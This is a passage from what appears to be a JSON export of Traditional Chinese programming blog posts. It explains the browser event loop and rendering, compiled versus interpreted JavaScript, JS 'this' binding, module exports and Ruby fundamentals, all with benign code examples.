loop 流程,可以簡化成以下這張流程圖 但這邊要注意的是,真正執行渲染時的 thread 跟執行 js 的 thread 是屬於不同個 thread執行 js 程式的 thread 範疇是在 task 以及 microtask 中但進行渲染時會是透過另一個 GUI thread 去進行渲染 這裡先幫忙補充名詞以及知識process 又名進程、處理程序,thread 又名線程、執行緒程式在執行時被稱為 process有時候我們寫的程式想要開另一條分支去幫忙做計算,那條分支被稱為 thread而 process 是由一個或是多個 thread 組合而成的每個 process 是不會共享記憶體空間的,但是在 process 底下的 threads 們是可以互相共享的而 process 之間可以透過 Inter Process Communication (IPC) 去做溝通,這邊就不針對這個做說明 此兩個 thread 是屬於互斥關係可以試試以下代碼證明,GUI Thread 和 JS Thread 是互斥的當還在執行 js 時,你是看不到他把畫面變成紅色的最終你只會看到畫面變成藍色的可以查看 js 引擎与 GUI 引擎是互斥的看看更多互斥的範例12345678910111213<html lang=\"en\"><body> <script> function sleep(second) { var start = +new Date(); while (start + second * 1000 > (+new Date())) {} } document.body.style.backgroundColor = \"red\"; sleep(5) document.body.style.backgroundColor = \"blue\"; </script></body></html> 談談瀏覽器 process/thread 關係看到這裡大家可能會覺得網頁開啟來就是只會有一個進程然後包含 GUI Thread, JS Thread 等等但其實並不都是這樣,有的瀏覽器實作方式是透過 multi-process 的方式去實作例如說 Chrome 的做法就是下圖右方的方法去實作 圖片出處 Inside look at modern web browser (part 1)圖中黑色外框表示 process裡面有一個虛線很像魚的是 thread (Google 說像魚的,不是說我的 XD)從圖裡面也可以看到,除了包含 Render 之外,還有 Network, GPU, Device 各式各樣的 thread/process (根據瀏覽器實作機制,可能是 thread 可能是 process)以 Chrome 來說, GUI 和 JS 相關的任務,都被歸類在 Render Process 裡面所以在 Chrome 的 Render Process 裡面的 GUI 和 JS 都是 thread 的概念 以 multi-process 去設計瀏覽器的時候當你擁有三個 tab 就會擁有三個 render process 去控制當發生其中一個 tab 壞掉的時候,是不會去影響另外兩個 process但如果當你只有一個 process,另外 3 個 tab 都是這個 process 裡面 thread 的話萬一 process 壞掉,這樣 3 個 tab 是會都會掛掉的 (因為 process 掛了, thread 也不用想活了) 圖片出處 Inside look at modern web browser (part 1)題外話,非常推薦大家去看 Inside look at modern web browser (part 1) 這系列 1-4 的文章圖文並茂,針對瀏覽器的機制講得很清楚 執行範例介紹以上名詞以及流程後,我們來試試看以下幾個例子 範例一以下屬於主程式碼,也就是被放在 task 裡面去執行,最後才會進行渲染以下面的例子來說,畫面最終會被渲染成紅色,但不會是 黃 藍 紅的順序下去因為整段是屬於第一輪的 task,最後渲染是會吃最後一個紅色的屬性 123document.body.style = 'background:yellow';document.body.style = 'background:blue';document.body.style = 'background:red'; 範例二這邊有 setTimout,代表裡面的 callback 會被放在下一輪的 task 之中這樣第一輪的 task 執行渲染藍色,第二輪的 task 執行渲染黑色所以畫面上會先看到藍色再看到黑色1234document.body.style = 'background:blue';setTimeout(function test(){ document.body.style = 'background:black'}, 0) 中間有一段有用慢動作播放,以方便看渲染效果但注意,如果瀏覽器是以 60 fps 進行的話, 代表說這個 setTimeout 時間沒有大於間隔 16.7 ms在這個狀況是有可能發生只有一次渲染的結果,也就是只看到黑色並沒有藍色如果要一定要讓瀏覽器出現兩次渲染,可以把 setTimeout 改成 16.7後面的範例也是如此 為了驗證是分別在兩輪 event loop 後執行 rendering 這件事我們來試試看使用 chrome performance 檢測看看首先先把程式改成利用 click 觸發,這樣比較好追蹤事件12345678910111213<html lang=\"en\"> <button id=\"button\">button</button> <body> <script> document.getElementById(\"button\").addEventListener(\"click\", function test() { document.body.style = 'background:blue'; setTimeout(function test2(){ document.body.style = 'background:black' }, 0) }) </script> </body></html> 從第一張可以知道有兩個綠色的地方,都是 paint 的行為 這邊 Chrome 版本 80.0.3987.66 上面有一個 task 的標籤我查不太到這個代表的意思但依照規範上面 event loop 的概念那個灰色的 task 標籤,就是代表每一次的 event loop推測的一個原因是在後面的 microtask 範例中,執行 microtask 被歸類在這個灰色 task 標籤下面如有錯誤請糾正,感謝!! 先放大最左邊黃色部份來看看 (大約 2440 ms),會發現 task 尾端執行了一個叫做 test 的 function還有一個 setTimeout 的 function (被稱為 test2)然後接下來下一個 task 就開始有第一個 paint (blue) 再放大中間右邊的黃色部份 (大約 2442 ms),會發現 task 尾端執行了一個叫做 test2 的 function這個 test2 就是前面 setTimeout 設定好的 function觸發執行後,接下來就會觸發第二個 paint (black) 開始執行 paint 的動作把畫面渲染成黑色 (大約 2449 ms) 小整理 大約 2440 ms 的時候,執行了第一輪 task 並觸發了第一個 paint (blue) 以及 setTimeout 大約 2442 ms 的時候,觸發了 setTimeout 的行為 大約 2449 觸發了第二個 paint (black) 此 paint 的行為是來自 setTimeout 裡面的程式碼 可以在圖片上面有一個 frames 可以判斷,總共對畫面進行兩次更新 至於要怎麼看 Paint 的畫面可以按照以下步驟去證明 範例三這邊有 Promise,代表裡面的 callback 會被放在此輪的 microtask 之中第一行是指定在渲染的時候要渲染藍色,但按照流程圖來說最後要執行渲染之前還會先跑 microtask 的 callback跑完 microtask 的 callback 後,指定在渲染時要是黑色第一輪結束後,只會執行渲染黑色,所以畫面上只會看到黑色而 log 的順序會是 1, 3, 2 1234567document.body.style = 'background:blue'console.log(1);Promise.resolve().then(()=>{ console.log(2); document.body.style = 'background:black'});console.log(3); 我們再來看看 chrome 的 performance 的結果如何為了方便檢測,把 js 那一段程式把也改成由 click 進行觸發12345678910111213141516<html lang=\"en\"> <button id=\"button\">button</button> <body> <script> document.getElementById(\"button\").addEventListener(\"click\", function test() { document.body.style = 'background:blue' console.log(1); Promise.resolve().then(function test2(){ console.log(2); document.body.style = 'background:black' }); console.log(3); }) </script> </body></html> 按照 Promise 是走 microtask 的概念,所以不會進入新的一輪 task 裡面在一次 event loop 結束後,這段程式把只會觸發一次 paint 的效果最下面可以看到觸發 test function 後,又觸發了 microtask然後就結束這一輪的 task,接下來才是 paint 範例四先來看渲染顏色的順序效果第一輪的 task 之中,第一行指定了藍色但在跑完 Promise 的 microtask 後,會變成黃色所以在第一輪結束之時,會直接把畫面渲染成黃色但因為我們有設定在 setTimout 也會執行渲染所以會變成第一輪 task 結束後是黃色,但在第二輪 task 結束後,會變成紅色至於 log 順序的話為 1, 3, 2, 4, 5 1234567891011121314document.body.style = 'background:blue'console.log(1);setTimeout(() => { console.log(5) document.body.style = 'background:red'}, 0)Promise.resolve().then(()=>{ console.log(2); document.body.style = 'background:black'}).then(() => { console.log(4); document.body.style = 'background:yellow'});console.log(3); 中間有一段有用慢動作播放,以方便看渲染效果 我們再來看看 chrome 的 performance 的結果如何為了方便檢測,把 js 那一段程式把也改成由 click 進行觸發1234567891011121314151617181920212223<html lang=\"en\"> <button id=\"button\">button</button> <body> <script> document.getElementById(\"button\").addEventListener(\"click\", function test() { document.body.style = 'background:blue' console.log(1); setTimeout(function test2(){ console.log(5) document.body.style = 'background:red' }, 0) Promise.resolve().then(function test3(){ console.log(2); document.body.style = 'background:black' }).then(function test4(){ console.log(4); document.body.style = 'background:yellow' }); console.log(3); }) </script> </body></html> 可以看到上面有兩個 task 是主要進行 paint 的行為 放大左半邊來看看,會發現左半邊執行了一個叫做 test function也就是我們程式碼裡面的 click callback functioncallback function 裡面有一個 setTimeout function所以在 task 結束的尾端可以發現有一個 setTimeout 事件被觸發但這個 setTimeout 的 test2 function 是在下下一輪 task 才會進行動作 (畫面右邊的 test2)而在中間的 task 就進行 paint 的動作 (變成黃色) 而把背景變成紅色則是在更後面的 task 範例五此範例是來自於 Tasks, microtasks, queues and schedules以下是裡面的 demo 範例,可以清楚看到每種 callback 放在 task 又或是 microtask 裡面 後記這次介紹的是瀏覽器版本的 event loop,但其實 node.js 的 event loop 又不一樣這個之後再介紹 node.js 版本的 event loop 又是如何運作的另外這邊文章也有簡單談到渲染引擎,這裡面還有牽扯到關於 Reflow 以及 Repaint 的行為這個也會另外在開新的文章做詳細解釋還有本文提到有些名詞有結合中國的一些技術名詞,這樣大家在看中國的技術文章時會比較好同步 References 「前端进阶」从多线程到Event Loop全面梳理 針對瀏覽器的 event loop 的介紹渲染例子非常的詳細,非常推薦看看 Tasks, microtasks, queues and schedules 針對 task, microtask 都有詳細的說明,也有針對不同瀏覽器做比對 js引擎与GUI引擎是互斥的 深入探究 eventloop 与浏览器渲染的时序问题 从event loop规范探究javaScript异步及浏览器更新渲染时机 Render-tree Construction, Layout, and Paint Inside look at modern web browser (part 1) Inside look at modern web browser (part 2) Inside look at modern web browser (part 3) Inside look at modern web browser (part 4)","link":"/2020/02/03/javascript-runtime-event-loop-browser/"},{"title":"JavaScript 真的是直譯式語言嗎?","text":"前言網路上常有人在討論 js 是不是編譯 (compiler) 語言又或是直譯 (interpreter) 語言這是一個蠻妙的問題,但要了解這之前,我們必須先談談什麼是編譯語言什麼是直譯語言 這邊先來個科普,在中國那邊也會把直譯稱之為解釋型語言,所以直譯等於解釋下面文章統一都會用直譯去做解釋 編譯語言被稱為編譯語言有一個特性此語言會透過編譯器編譯成另一個語言而編譯器是什麼呢? 先來說說一個情境在這個世界中我在 A 國家扮演著一種角色這個角色是一個專門的手抄者,做的事情就是專門把英文的書翻成中文書讓 A 國的人也能夠讀懂英文的書這裡的手抄者,可以想像成就是編譯器的存在 透過手抄者生產出來的書,還沒有人去讀是不會產生任何效果的編譯器也是如此,編譯器把 C++ 等等語言轉變成 byte code這個 byte codes 還沒被電腦執行之前,是沒有任何作用的 所以編譯語言做的事情就是,把 A 語言的程式碼轉換成 B 語言的程式碼 直譯語言被稱為直譯語言有一個特性此語言會透過直譯器直接去執行,並輸出結果這個直譯器又是什麼呢? 再來換另一個情境在這個世界中我是 A 國家的一個角色這個角色是一個專門的口譯者,做的事情就是專門把英文的語言翻成中文的語言給 A 國的人聽讓 A 國的人能夠聽懂英文 這裡的口譯者總共做了兩件事情 分析英文語句以及文法 把分析完的結果轉成中文說出來 這裡的口譯者,可以想像成就是直譯器的存在其實這也跟上述手抄者在做的事情很類似,兩者一樣都是在翻譯一種語言,只是結果不盡相同 簡單總整比較一下兩者之間的行為差別 編譯器 把 A 語言轉換成其他可以讓機器執行的 B 語言,但不會去執行,產生的結果是語言 直譯器 讀取 A 語言,並且執行它,不會輸出額外的語言,產生的結果是運行結果 兩者之間的效能 編譯器 會把大多數的時間花在編譯上,而且編譯出來的另一種語言很接近電腦能讀的語言,所以實際上執行的時候效率是很高的 直譯器 會讀取原始碼之後,立刻進行分析,分析完又馬上執行。牽扯到語法分析、編譯成機器能讀的語言、交給電腦執行。要如何把這整個流程進料減少分析以及編譯的次數是效能的一大考量 不管是編譯器或是直譯器,都是會需要詞法以及語法分析 用一張圖來表示編譯以及直譯語言的差別 圖片出自你知道「编译」与「解释」的区别吗? js 是哪一種 ?常常有人說 js 直譯 (interpreter) 語言,因為不需要編譯 (compiler),而且是直接跑在瀏覽器上不像 C++ 那樣需要編譯後才可以執行,所以 js 都是一行一行執行的! 且慢 …… 你知道 js 裡面有一個 hoisting 的概念嗎? 關於 js hoisting 的文章建議可以看看我知道你懂 hoisting,可是你了解到多深?裡面講得非常詳細 當你執行以下程式是得到 Uncaught ReferenceError: test is not defined1console.log(test); // Uncaught ReferenceError: test is not defined 但當你執行以下程式卻得到 undefined12console.log(test); // undefinedvar test = 1; 如果是一行一行執行,那為什麼上面兩者的結果是不同的呢?在讀過編譯器和直譯器後,我想各位讀者應該有些答案了 在主流瀏覽器的實現下,js 『看起來』像是直譯語言但在這個黑箱子背後,也是有編譯的步驟存在這樣 js 是不是直譯語言呢?我們來看看其他地方針對直譯式語言或是 JavaScript 是如何介紹的 虚拟机随谈(一):解释器,树遍历解释器,基于栈与基于寄存器,大杂烩提到以下這一段話 一般在網路上都會看到 Python、Ruby、JavaScript 都是直譯語言,是通過直譯器來實現這其實很容易造成誤解,語言一般只會定義抽象語義,而不會強制性要求採用某種實現方式 且在 MDN Web Docs 上面是這樣對 JavaScript 進行介紹的 JavaScript (JS) is a lightweight, interpreted, or just-in-time compiled programming language with first-class functions. 在維基百科上則是這樣對直譯式語言進行解釋的 Many languages have been implemented using both compilers and interpreters,including BASIC, C, Lisp, and Pascal. Java and C# are compiled into bytecode, the virtual-machine-friendly interpreted language.Lisp implementations can freely mix interpreted and compiled code. 所以以使用的案例來說,在瀏覽器上的 js 是直譯語言不過是哪一種,需要看用哪一種方式實現這種語言的執行方式因為說到底語言只是定義抽象語義,並無強制要用哪一種類型實現 前面有提到效率,那是不是 js 效率就很低?且慢!看看我們 Chrome V8 大大就完美呈現什麼叫做媲美編譯語言的效能了有興趣的可以去看看各種 V8 比較效能的文章 後記希望這篇有幫助到正在了解 js 是編譯或是直譯語言的小夥伴們 References MDN Wiki 虚拟机随谈(一):解释器,树遍历解释器,基于栈与基于寄存器,大杂烩 我知道你懂 hoisting,可是你了解到多深? 你知道「编译」与「解释」的区别吗?","link":"/2020/03/16/javascript-is-compiler-or-interpreter-language/"},{"title":"JavaScript this 是什麼? 如何運作的呢?","text":"前言相信寫過 js 的人對於 this 都有一定的認識但要搞懂它真的不容易,js 的 this 並沒有其他語言的 this 那麼單純所以這邊要一步一步的去展示並介紹 js 中的 this 到底是怎麼一回事以及最後面教學如何一步一步判定 this 會是指向什麼 this 是什麼 ?this 單純看英文解釋的話,是代表『自身』聽起來好像有這麼一回事,但實際上使用起來根本不是這樣實際上 js 中 this 代表的是執行時的對象,並不代表自身簡單來就說就是找函數被調用的位置 讓我們看看以下的範例 1234567891011121314function foo(num) { console.log( `foo: ${num}`) this.count++;}foo.count = 0;for (let i = 0; i < 10; i++) { if (i > 7) { foo(i); }}// foo: 8// foo: 9// foo 被調用多少次console.log(foo.count) // 0 --- ??? 為什麼是 0 ?? 雖然 console.log 真的有跑出來 foo 的兩個輸出但 foo.count 卻還是 0這其中的原因是,真正執行 foo 調用的位置的地方是全域(瀏覽器中為 window 物件)注意到這點回去可以執行這行 window.count 會發現為 NaN,卻不是 undefined 那我在這邊該如何去把 this.count 綁定到我的 foo.count 上面呢?這裡可以透過 fn.call(thisArg, arg) 的方式把我們的 this 綁定到 foo 上面在 for loop 之中調用 foo 得方式更改為 foo.call(foo, i) 就可以完成綁定重新執行以上的程式就會發現 foo.count 變成 2 了! 然而要如何尋找呼叫位置以及善用 this 就是一件學問了而用 this 有什麼好處? 看看以下這段 code 12345678910111213141516function foo(num) { console.log( `foo: ${num}`) data.count++;}var data = { count: 0}for (let i = 0; i < 10; i++) { if (i > 7) { foo(i); }}// foo: 8// foo: 9// foo 被調用多少次console.log(foo.count) // 2 沒有用 this 去做綁定,而是用一個變量的方式去儲存雖然這樣一樣看達到效果,但這看起來就不太簡潔未來要重複使用也很不方便而這就是學好 this 的好處之一 看到這邊應該會 this 有簡單的理解了那對於以下這段 code 應該就能清楚知道會出現什麼結果了 123456789101112131415161718function identify() { return this.name;}function speak() { var greeting = \"I 'm\" + identify.call(this); console.log(greeting)}var me = { name: \"Jack\"};var you = { name: \"Reader\"}identify.call(me) // Jackidentify.call(you) // Readerspeak.call(me) // Jackspeak.call(you) // Reader this 綁定規則前面提到要如何去找到調用位置是重要的事之外還要理解 js 中是有哪些規則去綁定 this 的以下會開始介紹 js 的幾種綁定方式但就個人來說,盡量使用顯示綁定的方式去把 this 綁定到對的對象上面才是正確的做法 Default Binding (默認綁定)這條為無法應用其他規則的時候,默認會出現的綁定模式請看以下的 code 12345function foo() { console.log(this.a);}var a = 2;foo(); // 2 這邊可以注意到 var a = 2 是在全域下的一個全局變量所以裡面的 this.a 是指向到全域的變量 a還有個方法可以確認說有沒有真的綁定到,可以透過 use strict 嚴格模式去做測試 123456function foo() { \"use strict\"; console.log(this.a);}var a = 2;foo(); // TypeError Implicit Binding (隱式綁定)這條隱式綁定的規則,則是要取決於上下文 12345678910function foo() { console.log(this.a);}var obj = { a: 2, foo: foo};var bar = obj.foo;var a = \"HIHI\"; // Globalbar(); // \"HIHI\" 雖然 bar 是 obj.foo 的一個引用,但實際上它是對應到 foo 上還有一種狀況很特別,當把 function 當成 args 傳進去執行 12345678910111213function foo() { console.log(this.a);}function doFoo(fn) { fn()}var obj = { a: 2, foo: foo};var bar = obj.foo;var a = \"HIHI\"; // GlobaldoFoo(obj.foo); // \"HIHI\" 這邊可以發現當把函數存進去後, obj.foo 的 this 是被綁定在 global 上 Explicit Binding (顯式綁定)顯式綁定會透過三個函數去使用call apply bind 的方式去做到這件事做法的話,前面應該有看到過了,這邊重新複習一下 1234567function foo() { console.log(this.a)}var obj = { a: 2};foo.call(obj); // 2 這邊可以注意到我們把 foo 裡面的 this.a 綁定到 obj 上面了 new Binding先說明 js 之中的 new 和其他 class 類型的語言是完全不一樣的東西在 js 之中使用 new,並不會真的屬於什麼類或是實例化一個類 (嚴格來說 js 中也沒有所謂的類,全部都是物件)而在使用 new 的時候會有以下幾個步驟 創建全新物件 新物件會被執行原型鏈的連接 新物件會綁定到函數調用的 this 如果函數沒有返回其他物件,那麼 new 會自動返回這個新物件,若有返回其他物件,則替換掉新物件 12345function foo(a) { this.a = a;}var bar = new foo(2);console.log(bar.a); // 2 以上的範例來說明上面的四個步驟bar 為 創建全新物件,建立出 bar 之後會對 Object 的原型鍊做連接 (這裡暫時不提)因為 bar 為新物件,所以根據新物件會綁定到函數調用的 this這時 bar 就會被綁定在 foo 函數裡面的 this 去了那因為在使用 new foo(2) 時,並沒有返回其他物件,所以這裡會把 bar 回傳回去但如果這時有返回其他物件,這時候就會把 bar 也改替換掉了這時第三步原本是把 this 綁定在 bar 本身,這時會變成綁定在其他物件身上參考以下 code 12345678910var test = { a: \"hihi\"}function foo(a) { this.a = a; return test;}var bar = new foo(2);console.log(bar.a); // \"hihi\" 不過如果回傳的並不是物件的話,狀況又會不一樣了 123456function foo(a) { this.a = a; return 1;}var bar = new foo(2);console.log(bar.a); // \"2\" 後記這是看完 You don’t know JS 後做的一篇整理如果有任何錯誤歡迎指教!而整本書對於 this 的解釋非常詳細,如果有興趣的讀者可以找找這本書看看原文是如何寫的吧!後續會再找時間整理關於 prototype (原形鏈) 的原理","link":"/2019/04/24/javascript-this/"},{"title":"Module Export","text":"稍微紀錄一下在 nodejs 裡面 module.exports 和 require以及在 ECMA6 的 export 和 import 的使用方式 nodejs首先先在 a.js 裡面 export 出一個 object 裡面包含一個 click function然後再 b.js 裡面用 require a.js,這時候會有兩種使用方式 1234567891011121314151617// a.jsmodule.exports = { click: () => { console.log('Hi') }}// b.js// 第一種const a = require('./a.js')a.click()// Hi// 第二種const {click} = require('./a.js')click()// Hi 另外一種使用方式也可以達到同樣效果 1234567891011121314151617181920// a.jsmodule.exports = () => { // 這裡可以處理一些初始化的東西 return { click: () => { console.log('Hi') } }}// b.js// 第一種const a = require('./a.js')()a.click()// Hi// 第二種const {click} = require('./a.js')()click()// Hi 接下來就用不同種例子,看看使用方式 1234567// a.jsmodule.exports = [1, 2, 3]// b.jsconst a = require('./a.js')console.log(a)// [1, 2, 3] 123456789// a.jsmodule.exports = { name: 'Hi'}// b.jsconst a = require('./a.js')console.log(a.name);// Hi ECMA6我把上面的例子轉換成 ECMA6 import 和 export 的方式但是有些地方會有些許不同 1234567891011// a.jsexport default { click: () => { console.log('Hi') }}// b.jsimport a from './a.js'a.click()// Hi 123456789101112// a.jsconst click = () => { console.log('Hi')}export { click}// b.jsimport {click} from './a.js'click()// Hi 也可以搭配 as 和 * 去做 import (無法跟 export default 做搭配) 123456789101112// a.jsconst click = () => { console.log('Hi')}export { click}// b.jsimport * as a from './a.js'a.click()// Hi 接下來就用不同種例子,看看使用方式 1234567// a.jsexport default [1, 2, 3]// b.jsimport a from './a.js'console.log(a);// [1, 2, 3] 12345678910// a.jsconst a = [1, 2, 3]export { a}// b.jsimport {a} from './a.js'console.log(a);// [1, 2, 3] 1234567891011121314// a.jsexport default { name: 'hi'}// 等同於const a = { name: 'hi'}export default a// b.jsimport a from './a.js'console.log(a.name);// Hi","link":"/2017/10/19/module-export/"},{"title":"Ruby 初學者應該要知道的幾件事","text":"[Update 2020-09-06] 新增 Interface & method_missing[Update 2020-07-31] 新增 send & self 介紹因近期工作關係會需要寫到 Rails, 所以開始學習 Ruby 這個語言這篇文章會列出個人覺得學習 Ruby 這個語言, 要先知道的幾樣東西以及符號,可以當作一個粗淺的 ruby 教學 XD因為這篇是以個人角度去看的所以內容比較適合學過一種 Java or JavaScript 的讀者 Function 執行以個人經驗來說, 學習 Ruby 第一件讓我很困惑的地方就是關於 function 執行的方式在寫過的 JavaScript, Java, Go 三個語言中, 這是差異最大的地方在 JavaScript 定義 function 後去執行不外乎是這樣 1234function doSomething(thing) { console.log(`I'm doing ${thing}`)}doSomething(\"work\") 在 Ruby 中也只是差在語法定義不同而已1234def doSomething(thing) puts \"I'm doing #{thing}\"enddoSomething(\"work\") 但最奇特的就是, Ruby 可以省略括號去執行1doSomething \"work\" 這也是我學習 Rails 看到 config > router.rb 第一個覺得困惑的點1get 'welcome/index' 接著看到這裡我就反問那兩個參數是不是也可以不用括號答案是對的, 加一個逗號去分開就好1234def doSomething(thing1, thing2) puts \"I'm doing #{thing1} and #{thing2}\"enddoSomething \"work1\", \"work2\" 接著除了一般參數, 接著另一個疑問就來了在寫 JS 有時候參數會想帶 JSON 的結構進去, 那在 Ruby 又怎麼做到?實際上使用會是這樣, 而在 Ruby 中會把 thing 稱之為 Hash123456def doSomething(thing) puts \"I'm doing #{thing[:thing1]} and #{thing[:thing2]}\"enddoSomething(thing1: \"work1\", thing2: \"work2\")doSomething thing1: \"work1\", thing2: \"work2\"doSomething :thing1 => \"work1\", :thing2 => \"work2\" 混在一起就可以這樣寫123456def doSomething(name, thing) puts \"I'm #{name} and doing #{thing[:thing1]} and #{thing[:thing2]}\"enddoSomething(\"Jack\", thing1: \"work1\", thing2: \"work2\")doSomething \"Jack\", thing1: \"work1\", thing2: \"work2\"doSomething \"Jack\", :thing1 => \"work1\", :thing2 => \"work2\" 但如果後面還有參數就記得一定要加大括號123456def doSomething(name, thing, time) puts \"I'm #{name} and doing #{thing[:thing1]} and #{thing[:thing2]} in #{time}\"enddoSomething(\"Jack\", {thing1: \"work1\", thing2: \"work2\"}, \"today\")doSomething \"Jack\", {thing1: \"work1\", thing2: \"work2\"}, \"today\"doSomething \"Jack\", {:thing1 => \"work1\", :thing2 => \"work2\"}, \"today\" 接著另一個有趣的事, 在 ruby function 定義中你不寫 return 的話, 預設是會回傳最後一行產出的結果1234567891011121314def testgogo 100000endnum = testgogoputs num.class## 同等於下面def testgogo return 100000endnum = testgogoputs numputs num.class Block在 Ruby 裡面有一個很特別的方式在執行 function 的時候, 可以多帶入 {}, 並在裡面寫下程式以下面的例子, 在執行 doSomething 的時候, 會先到 doSomething 的程式區塊中去執行但執行到 yield 的時候, 會把程式的控制權轉交給執行 doSomething 時代入的 {} 之中 12345678910111213def doSomething puts \"start\" yield puts \"end\"enddoSomething { puts \"this is block content\"}# 同等下方doSomething do puts \"this is block content\"end 在 Ruby 中把 {} & do...end 稱之為 Block然後在學 Ruby 剛開始可能都會看到這個例子去跟你介紹 Ruby1235.times { puts \"哈囉,世界\"} 這個要自己土炮的話, 概念也是用到 Block + yield 去實作123456789101112131415def my_times(n) i = 0 while n > i i += 1 yield endend my_times(5) { puts \"哈囉,世界\"}# 同等於以下my_times(5) do puts \"哈囉,世界\"end 除了轉交控制權之外, 也可以傳遞參數出去123456789def doSomething puts \"start\" yield \"Jack\" puts \"end\"enddoSomething { | name | puts \"this is block content with paramters #{name} from doSomething\"} 這裡會看到 || 這個符號, name 在 || 裡面代表 name 是在這個 Block 範圍裡面的區域變數, 離開 Block 之後就失效了當然這只是簡單的介紹, 更難一點的還有針對 do...end & {} 有優先順序的差別 Class & Instance Method接著我們要介紹的是 << 在 Ruby 的 Class 裡面代表的意義讓我們先看看在 JS 中如何去寫 class雖然 JS 的 class 不是真的 class, instance 也不是真的 instance但為了方便介紹, 先以 JS 先舉例在 JS 中要為 class 寫一個 method 通常都會用到 static 去表示如果去掉 static 就代表是 instance method, 也就是 new 出來後的物件才可以執行 123456789101112class Work { static show() { console.log(\"class method\") } instanceMethod() { console.log(\"instance method\") }}Work.show()const work = new Work()work.instanceMethod() 在 Ruby 中也有一樣的概念12345678910111213class Work def instanceMethod puts \"instance method\" end def self.show puts \"class method\" endendWork.showw = Work.neww.instanceMethod 這邊就是用 self 去表示 class method但 self 根據不同上下文會出現不一樣的值,可以看下方的例子 12345678910class Work def test puts self end def self.gogo puts self endendWork.new.test # 這裡會是 instance 本身Work.gogo # 這裡會是 class 本身 那因為有分成 class & instance scope所以執行上要注意一下不同 scope 的情況,例如以下情況12345678910111213141516171819class Work def test puts self gogo # 雖然這裡和『下面』都叫 gogo,但對到的地方是不同的 end def self.test puts self gogo # 雖然這裡和『上面』都叫 gogo,但對到的地方是不同的 end def gogo puts \"this is instance gogo\" end def self.gogo puts \"this is class gogo\" endendWork.testputs \"================\"Work.new.test 所以這裡可以延伸成另一種東西,有發現 new method 也是屬於 class scope 嗎?也就代表程式中其實可以這樣去寫,還蠻酷 XD 12345678910111213141516171819class Work def test puts self gogo # 雖然這裡和『下面』都叫 gogo,但對到的地方是不同的 end def self.test puts self gogo # 雖然這裡和『上面』都叫 gogo,但對到的地方是不同的 instance = new instance.test end def gogo puts \"this is instance gogo\" end def self.gogo puts \"this is class gogo\" endendWork.test 另外比較特別的是, 上面的 self 寫法,可以用 << 去改寫變成123456789101112131415class Work def instanceMethod puts \"instance method\" end class << self def show puts \"class method\" end endendWork.showw = Work.neww.instanceMethod 除此之外, << 可以用在擴充 instance method (也可稱為 singleton method)但注意, 像最後一行去針對 w1 去執行 instanceMethod2 是會出錯的123456789101112131415161718class Work def instanceMethod puts \"instance method\" endendw1 = Work.neww2 = Work.neww1.instanceMethodclass << w2 def instanceMethod2 puts \"instance method2\" endendw2.instanceMethod2 # 這個會成功呼叫w1.instanceMethod2 # 這個會報錯 雖然這裡是講 class & instance method, 但 << 除了在這個地方可以使用其實還可以用在 array append 上面, 像是這樣123a = [1]a << 2p a 想看更多其他應用的部分, 可以直接參考 What does << mean in Ruby? send在 ruby 中還有一種特別的方法去呼叫 instance method,就是透過 send 的方式123456789class Work def test send(:gogo) end def gogo puts \"this is instance gogo\" endendWork.new.test 所以可以把上面其中一個例子的寫法改成這樣12345678910111213141516171819class Work def test puts self gogo # 雖然這裡和『下面』都叫 gogo,但對到的地方是不同的 end def self.test puts self gogo # 雖然這裡和『上面』都叫 gogo,但對到的地方是不同的 instance = new instance.send(:test) end def gogo puts \"this is instance gogo\" end def self.gogo puts \"this is class gogo\" endendWork.test Class Inherit & Namespace接著談到 Class Inherit & Namespace, 最常看到兩種符號 < & ::先來談談 < 這個符號, 這其實就是繼承1234567891011class Animal def run puts \"run\" endendclass Dog < Animalenddog = Dog.newdog.run 但在 rails 的 controller 第一行卻會看到 :: 出現在 ActionController::Base12class ApplicationController < ActionController::Baseend 在 Ruby 中, class 和 module 是可以用巢狀結構包起來的要存取 裡面的 class / module 時, 就會需要用到 :: 去存取12345678910class Utility class Flyable def fly puts \"fly\" end endendflyable = Utility::Flyable.newflyable.fly 除了 class 也可以用在 module1234567891011121314module Utility module Flyable def fly puts \"fly\" end endendclass Cat include Utility::Flyableendcat = Cat.newcat.fly 當然也可以 module & class 混著用12345678910111213module Utility class Flyable def fly puts \"fly\" end endendclass Cat < Utility::Flyableendcat = Cat.newcat.fly 透過以上巢狀包起來去使用, 其實就是達到 Namespace 的一種使用方式看到這裡有人會問 module & class 之間的差異建議可以直接看看 5xRuby 裡面的一篇文章要用繼承還是要用模組? Interface通常在寫 Java Go Typescript 都可以有 interface 可以用但在 ruby 中並沒有 interface 的概念但可以透過 class 繼承去辦到實作 interface 這件事 12345678910111213141516171819# Interfaceclass Money def currency raise NotImplementedError end def run raise NotImplementedError endend# Implement Interfaceclass Usd < Money def currency \"USD\" end def run puts currency endend 若如果你沒有實作 function 就會得到以下結果123456class Usd < Money def run puts currency endend# `currency': NotImplementedError (NotImplementedError) method_missing在 ruby 中有一個機制,當你呼叫這個 method 不存在的時候可以透過呼叫 method_missing (method from BasicObject) 去攔截這個不存在的 method 1234567class Money def method_missing(method_name, *args) pp method_name pp args endendMoney.new.hi(123) 而這個有什麼用呢?除了可以自定義方式去保護當程式被奇怪的 method name 呼叫之外在 rails Active Record 裡面有個 find_by_AttributeName method如果使用 find_by_id 就會到資料庫去比對是否有 id 欄位可以搜尋如果使用 find_by_name 就會到資料庫去比對是否有 name 欄位可以搜尋 也就是這個 method 是根據資料庫實際 schema 動態去改變的而實際實現方式就是透過 method_missing這種用程式去寫出出更多程式 (不同的 find_by_a1, find_by_a2),也是 Metaprogramming 的一種方式 DynamicMatchers Lambda & ->Lambda 是一種 anonymous functions, 在 Ruby 裡面是這樣使用12345run = lambda { puts \"run\"}run.call 但在 Ruby 裡面可以用另一種寫法, 用 -> 這個符號12345run = -> { puts \"run\"}run.call & operator in Proc在 Ruby 時常會看到一些這樣的用法 12345678names = User.all.map(&:name)# 同等於names = User.all.map { |user| user[:name] }p = Proc.new { |x| puts x * 2 }[1, 2, 3].each(&p)# 同等於 [1, 2, 3].each{ |x| puts x * 2 } 此時會看到一個很特別的 & 的符號但在這並不是像某些語言是 pass-by-reference 的意思& 在這是指傳遞 Lambda or Proc 來使用, 所以可以延伸出一些簡短的縮寫方式而使用 & 的時候, 會把 Block 轉成 Proc 去使用也就代表這中間, 會去呼叫 to_proc 這個 method我們透過自定義的 method 來實驗一下 12345678910111213141516class GGG def to_proc puts \"gggg\" Proc.new { puts \"cool\" } endenddef gogo(&blockd) blockd.callendggg = GGG.newgogo(&ggg) 在上面的範例中我自己定義的 to_proc 的 method, 並回傳了 Proc 的實體回去而我們一開始上面看到的 (&:name), 